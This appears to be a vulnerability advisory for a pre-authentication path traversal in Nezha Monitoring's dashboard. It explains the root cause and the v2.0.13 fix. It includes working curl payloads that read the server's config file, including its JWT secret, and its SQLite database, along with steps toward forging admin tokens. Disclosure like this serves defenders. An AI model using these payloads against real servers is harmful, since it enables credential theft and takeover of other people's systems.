CVE-2026-53519: Nezha Monitoring Pre-Auth Path Traversal via /dashboard.. Prefix Confusion
A missing path-segment check in Nezha Monitoring's dashboard router lets any unauthenticated attacker read arbitrary server-side files, including the JWT signing key, by crafting a URL like…
The problem
The fallbackToFrontend catch-all handler in Nezha's Gin router uses strings.HasPrefix(path, "/dashboard") to decide whether a URL should be served as a frontend asset. This is a substring test, not a path-segment test, so /dashboard../data/config.yaml passes the check just as /dashboard/login does.
After stripping the prefix, path.Join("admin-dist", "../data/config.yaml") silently resolves to data/config.yaml. The handler calls os.Stat then http.ServeFile on that resolved path with no authentication check and no boundary validation. In a default deployment, data/config.yaml contains the HS256 jwt_secret_key, agent_secret_key, and OAuth2 secrets.
An attacker who reads that key can forge admin JWTs and take over the entire dashboard.
Proof of concept
A working proof-of-concept for CVE-2026-53519 in github.com/nezhahq/nezha, with the exact payload below.
# Step 1: leak the JWT secret (no auth required)
curl -s --path-as-is 'http://TARGET:8008/dashboard../data/config.yaml'
# Returns plaintext YAML including jwt_secret_key
# Encoded-dot variant (also works)
curl -s --path-as-is 'http://TARGET:8008/dashboard%2e%2e/data/config.yaml'
# Encoded-slash variant (also works)
curl -s --path-as-is 'http://TARGET:8008/dashboard..%2fdata/config.yaml'
# Step 2: leak the SQLite database (user IDs, bcrypt hashes, API tokens)
curl -s --path-as-is 'http://TARGET:8008/dashboard../data/sqlite.db' -o dump.db
# Step 3: forge an HS256 admin JWT with the leaked secret and attach as cookie
# nz-jwt cookie accepted by every admin handlerThree independent design choices combine to produce the vulnerability. First, strings.HasPrefix matches any URL whose first characters are /dashboard, so dashboard.. is indistinguishable from dashboard/. Second, path.Join calls path.Clean internally and silently collapses the .. component to escape the admin-dist root without returning an error.
Third, Go's http.ServeFile stdlib guard (net/http.containsDotDot) only fires when the *request URL itself* contains a standalone .. segment; because the traversal token in /dashboard../... is the single path segment dashboard.., the guard never triggers, and the escape is only created after TrimPrefix, downstream of every existing defense.
The fix in v2.0.13 tightens the prefix test to require a trailing slash (/dashboard/), which makes dashboard.. fail the check immediately. An additional path.Clean boundary check after strip ensures no joined path can escape the template root.
The fix
Upgrade to nezhahq/nezha v2.0.13 or later. The patch changes the prefix check from strings.HasPrefix(path, "/dashboard") to an exact match on /dashboard/ (requiring the segment boundary), and adds a post-join path escape check before any filesystem call. As a defense-in-depth measure, consider setting the NZ_JWTSECRETKEY environment variable so the JWT secret is never written to config.yaml on disk.
Rotate your jwt_secret_key and agent_secret_key immediately if running a pre-2.0.13 instance that was internet-accessible.
Reported by sondt99.
Related research
- critical · 9.1CVE-2026-65600CVE-2026-65600: Traefik ReplacePathRegex Authentication Bypass via Path Traversal
- highCVE-2026-67309CVE-2026-67309: Traefik Kubernetes Ingress NGINX RewriteTarget Path Traversal Authentication Bypass
- high · 8.8CVE-2026-59733CVE-2026-59733: rclone serve restic --private-repos Authorization Bypass via Path Traversal
- highCVE-2026-71309CVE-2026-71309: rclone serve restic Path Traversal Backend Root Escape